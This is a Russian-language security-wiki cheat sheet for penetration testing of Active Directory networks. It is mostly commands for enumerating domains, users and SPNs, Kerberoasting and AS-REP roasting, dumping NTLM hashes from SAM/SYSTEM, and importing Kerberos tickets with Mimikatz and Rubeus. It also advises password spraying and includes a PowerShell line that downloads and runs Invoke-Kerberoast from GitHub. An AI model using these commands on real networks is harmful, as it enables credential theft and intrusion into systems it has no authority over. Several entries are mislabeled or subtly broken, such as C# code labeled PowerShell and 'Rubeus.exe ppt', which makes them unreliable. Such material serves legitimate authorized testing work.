Active directory

Материал из InformationSecurity WIKI
Версия от 13:33, 21 января 2022; Drakylar (обсуждение | вклад) (Анонимный доступ)

Перейти к: навигация, поиск


Страница посвящена тестированию на проникновение сетей Active Directory на Windows OS.

Содержание

Общая информация о сети

Домен

PC в домене

cmd.exe

1 systeminfo | findstr /B /C:"Domain"
1 echo %userdomain%
1 wmic computersystem get domain

powershell

1 import-module activedirectory
2 Get-ADDomain
3 
4 # current domain info
5 [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
6 
7 # domain trusts
8 ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()


Удаленно

nmap

У доменного контроллера будут как правило открыты порты: 53/tcp (dns), 389/tcp (ldap), 88/udp (kerberos), 135/tcp.

После того, как nmap найдет доменный контроллер он еще автоматом с аргументом -sV определит домен.

Поэтому для поиска можно просканнировать сеть на данные порты

1 nmap -p 53,389,135 <network/24> -v -sV

ldapsearch

Если мы нашли сервис LDAP, но по каким то причинам nmap не определил домен, то можно попытаться подключиться и самим определить.

1 ldapsearch -x -h 10.10.10.175 -s base namingcontexts

Forest Domains

Домены могут между собой обьединены в "леса" и их тоже можно узнать.

PC в домене

PowerShell

1 import-module activedirectory
2 Get-ADForest
1 # current forest info
2 [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
3 
4 # get forest trust relationships
5 ([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()

cmd.exe

Доменный контроллер

nslookup

1 set type=all
2 _ldap._tcp.dc._msdcs.DOMAIN_NAME
 1 nslookup -type=srv _kerberos._tcp.EXMAPLE.COM
 2 nslookup -type=srv _kerberos._udp.EXMAPLE.COM
 3 nslookup -type=srv _kpasswd._tcp.EXAMPLE.COM
 4 nslookup -type=srv _kpasswd._udp.EXAMPLE.COM
 5 nslookup -type=srv _ldap._tcp.EXAMPLE.COM
 6 nslookup -type=srv _ldap._tcp.dc._msdcs.EXAMPLE.COM
 7 nslookup -type=srv _ldap._tcp.pdc._msdcs.EXAMPLE.COM
 8 
 9 # Если запросы идут к FOREST-домену
10 nslookup -type=srv _ldap._tcp.gc._msdcs.%DNSFORESTNAME%.
11 nslookup -type=srv _gc._tcp.%DNSFORESTNAME%.
1 nslookup -type=any %userdnsdomain%.


nltest

1 nltest /dclist:domainname

Powershell ActiveDirectory

1 Import-Module ActiveDirectory
2 (Get-ADDomainController -DomainName <Domain FQDN> -Discover -NextClosestSite).HostName

Powershell Resolve-DnsName

1 Resolve-DnsName -Name _ldap._tcp.dc._msdcs.<YOU_DOMAIN> -Type SRV


gpresult

Мало инфы

1 gpresult

Много инфы

1 gpresult /z
2 or
3 gpresult /Z


nmap

СМ. выше поиск домена используя nmap.

Доменные компьютеры

PC в домене

Powershell Get-ADComputer

1 import activedirectory
2 Get-ADComputer -Filter * -Properties IPv4Address

netdom.exe

1 netdom member
2 
3 
4 netdom /d:<domain name> \[/u:<domain>\<user to which query> /p:<password\] member

net.exe

1 net view /domain:savtech

Powershell adsisearcher

1 $AD = [adsisearcher]"objectcategory=computer"
2 $Computers = $AD.FindAll()
3 $Computers.Properties.Name

Удаленно

ldapsearch

1 ldapsearch -LLL  -H ldap://ad.ourdomain.local  -x  -D 'OURDOMAIN\user' -w 'thepassword' -b 'dc=ourdomain,dc=local' 'objectClass=computer' name

windapsearch

https://github.com/ropnop/windapsearch

1 windapsearch -C ...

Дополнительная информация о сети

Список пользователей

Без перебора

crackmapexec

1 crackmapexec smb <ip> -u <user> -p <password> --users

powershell

1 Get-ADUser -Filter 'Name -like "*SvcAccount"' | Format-Table Name,SamAccountName -A

Impacket-GetADUsers

1 python3 GetADUsers.py -all test.local/john:password123 -dc-ip 10.10.10.1

windapsearch

1 windapsearch --users ...


ldapsearch

1 ldapsearch -xLLL -h domain.org -D "domain\\user" -W -b "DC=domain,DC=org" -s sub "(objectclass=user)" sAMAccountName


С перебором

nmap

1 nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='<domain>',userdb=<users_list_file>" <dc_ip>

enum4linux

1 enum4linux -U <dc-ip> | grep 'user:'

Время сети

Вариантов много, но не все работают.

NTP

1 sudo service ntp stop
2 sudo ntpdate -s time.nist.gov
3 sudo service ntp start
1 root@kali:~# rdate -n 10.10.10.248
2 Sun Oct 17 19:41:14 EDT 2021
3 
4 date --set 1998-11-02 
5 date --set 21:08:00

Вариант 2 - если время откатывается обратно.

1 service ntpd stop
2 update-rc.d -f ntpd remove
3 nano /etc/ntp.conf
4 while true; do date --set 19:46:08 > /dev/null; done;
1 sudo apt-get install chrony
2 sudo timedatectl set-ntp true
3 sudo ntpdate <machine IP>

Отключить VirtualBox автоматическую установку времени

1 VBoxManage setextradata "VM name" "VBoxInternal/Devices/VMMDev/0/Config/GetHostTimeDisabled" 1


HTTP

Можно использовать вместе с прокси

1 proxychains htpdate 172.16.249.204 -s

Сетевая информация

IP

powershell

1 Get-ADComputer -Filter * -Properties ipv4Address, OperatingSystem, OperatingSystemServicePack | Format-List name, ipv4*, oper*
1 $domain = [System.Directoryservices.Activedirectory.Domain]::GetCurrentDomain()
2 $domain | ForEach-Object {$_.DomainControllers} | 
3 ForEach-Object {
4   $hostEntry= [System.Net.Dns]::GetHostByName($_.Name)
5 New-Object -TypeName PSObject -Property @{
6       Name = $_.Name
7       IPAddress = $hostEntry.AddressList[0].IPAddressToString
8     }
9 } | Select Name, IPAddress
1 Get-WinEvent  -Computer (computer name) -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | select @{N='User';E={$_.Properties[1].Value}}

В CSV:

1 $domain = [System.Directoryservices.Activedirectory.Domain]::GetCurrentDomain()
2 $domain | ForEach-Object {$_.DomainControllers} | 
3 ForEach-Object {
4   $hostEntry= [System.Net.Dns]::GetHostByName($_.Name)
5   New-Object -TypeName PSObject -Property @{
6       Name = $_.Name
7       IPAddress = $hostEntry.AddressList[0].IPAddressToString
8      }
9 } | Export-CSV "C:\DomainControllers.csv" -NoTypeInformation -Encoding UTF8

Сервисы

Получение начального доступа

Анонимный доступ

Для проверки анонимного доступа можно воспользоваться одним из следующих протоколов.

LDAP

windapsearch

1 Get-ADComputer -Filter * -Properties ipv4Address, OperatingSystem, OperatingSystemServicePack | Format-List name, ipv4*, oper*

nmap

1 sudo nmap x.x.X.x -Pn -sV
2 
3 # 636/tcp open  ssl/ldap (Anonymous bind OK)

SMB

smbmap

1 python smbmap.py -H 192.168.0.1

smbclient

1 smbclient L 192.168.1.108

nmap

1 sudo nmap -sU -sS --script smb-enum-shares.nse -p U:137,T:139 <host>

MSRPC

rpcclient

1 rpcclient -U '' -N 10.10.10.1

Учетные данные

Сетевой перебор учетных данных (пароля)

Перебор учетных данных по протоколам лучше смотреть тут http://itsecwiki.org/index.php/Brute_force

Стоит заметить, что лучше всего использовать технику Password Spraying тк по-умолчанию аккаунты блокируются от большого количества попыток ввода пароля. Максимум лучше по 3-5 паролей на аккаунт.

Протоколы: SMB, OWA, smtp, skype,...

Оффлайн перебор

NTLM

Если у вас есть NTLM-хеш пароля пользователя, то его можно отправить на перебор.

http://itsecwiki.org/index.php/Offline_bruteforce - тут подробнее о переборе NTLM

Также хеш не обязательно перебирать, его можно будет использовать в следующих этапах при атаке Pass The Hash (когда вместо пароля пользователя отправляется его NTLM-хеш).

TGS

Если у вас есть TGS-ticket для доступа к сервису, то вы можете пробрутить пароль учетки от которой будет идти запрос.

На странице http://itsecwiki.org/index.php/Offline_bruteforce вы можете найти команды для перебора паролей.

Kerberoasting

Это метод получения TGS. После его получения перейдите в пункт выше - перебор пароля в TGS. Как правилоm его делают когда уже авторизовались в домене, но может иногда сработать при анонимном доступе. Для этого нам потребуется найти доступные SPN

Поиск SPN
Windows в домене

cmd.exe

1 setspn -T TestDomain -Q */*

Пример SPN учетки MSSQLSERVER

1 MSSQLSERVER/SQL-Server.testdomain.com:1433


Powershell

 1 $search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
 2 $search.filter = "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))"
 3 $results = $search.Findall()
 4 foreach($result in $results)
 5 {
 6 	$userEntry = $result.GetDirectoryEntry()
 7 	Write-host "User : " $userEntry.name "(" $userEntry.distinguishedName ")"
 8 	Write-host "SPNs"        
 9 	foreach($SPN in $userEntry.servicePrincipalName)
10 	{
11 		$SPN       
12 	}
13 	Write-host ""
14 }

Invoke-Kerberoast

https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1

1 iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
2 Invoke-Kerberoast -OutputFormat <TGSs_format [hashcat | john]> | % { $_.Hash } | Out-File -Encoding ASCII <output_TGSs_file>


Удаленно

Windapsearch


https://github.com/ropnop/windapsearch https://github.com/ropnop/go-windapsearch

Параметр "user-spns".

Impacket GetUserSPNs

https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py

1 python GetUserSPNs.py <domain_name>/<domain_user>:<domain_user_password> -outputfile <output_TGSs_file>


Получение TGS
Сложные варианты

TODO

Без SPNS https://swarm.ptsecurity.com/kerberoasting-without-spns/


ASP-REP roasting

Если у Kerberos отключена предварительная аутентификация, то сервер вернет ASP-REP, зашифрованная часть которого подписана клиентским ключем на кого он выписан.

Получить хеш

Rubeus

1 Rubeus.exe aspreproast

GetNPUsers.py

1 GetNPUsers.py CONTOSO.COM/Administrator:'P@ssw0rd' -request


Для информации о переборе хеша перейдите на страницу http://itsecwiki.org/index.php/Offline_bruteforce#ASP-REP


SAM & SYSTEM

Если вы каким то образом получили SAM, SYSTEM-файлы, то вы можете извлечь из них NTLM-пароли пользователей.

Но для того, чтобы получить NTLM-хеш, вам потребуется и SAM и SYSTEM.

Получение хешей

samdump2

1 samdump2 -d ./SAM ./SYSTEM

После чего следуйте инструкциям в пункте про NTLM.

TGT-билет

Как Cookie у браузера, он требуется для получения TGS который в свою очередь используется для подключения к сервисам. Если вы нашли файл с TGT-ключем, то у него есть два формата: kirbi & ccache, поэтому надо сконвертировать.

Конвертация

https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketConverter.py

1 ./ticket_converter.py admin.ccache admin.kirbi
2 ./ticket_converter.py admin.kirbi admin.ccache

Импорт тикета

!Не забудьте установить время то же, пункт выше!

.ccache

Rubeus

1 .\Rubeus.exe ppt /ticket:new_ticket.ccache

Mimikatz

1 mimikatz # kerberos::ptt new_ticket.ccache

Bash

1 export KRB5CCNAME=./test.ccache

Сбор информации о пользователе

Группы

С доступом к ПК

Powershell

1 Get-ADPrincipalGroupMembership username | select name
1 Import-Module ActiveDirectory
2 (Get-ADUser userName –Properties MemberOf | Select-Object MemberOf).MemberOf
3 
4 (Get-ADUser userName –Properties MemberOf).MemberOf
1 (New-Object System.DirectoryServices.DirectorySearcher("(&(objectCategory=User)(samAccountName=$($env:username)))")).FindOne().GetDirectoryEntry().memberOf


cmd.exe

1 net user /domain username

Удаленно

Windapsearch

https://github.com/ropnop/windapsearch

1 windapsearch -G ...

Ldapsearch

1 ldapsearch -x -H "ldap://openldap" -D "CN=UserName,CN=Users,DC=YOURDOMAIN,DC=NET" -w admin '(member:1.2.840.113556.1.4.1941)'
1 ldapsearch -LLL -x -h DC-THESHIP.PLANETEXPRESS.LOCAL -p 389 -D 'PLANETEXPRESS\SService' -w 'L1feD3@thSeamlessContinuum' -b 'DC=PLANETEXPRESS,DC=LOCAL' "(member=1.2.840.113556.1.4.1941)" dn

Правила

Доступ к ПК

Powershell

 1 string currentuser = Environment.UserName;
 2 string currentmachine = Environment.MachineName;
 3 
 4 if (DirectoryEntry.Exists(string.Format("WinNT://{0}/{1}", currentmachine,  currentuser)))
 5 {
 6     Console.WriteLine("it's working\n");
 7     Roles.Enabled = true;
 8     Console.WriteLine(Roles.GetRolesForUser(currentuser));
 9 }
10 else
11 {
12     Console.WriteLine("it's not working");
13 }


Удаленно

Политики

Автоматизированный поиск уязвимостей

BloodHound

PingCastle

Повышение привилегий

Горизонтальные

Вертикальные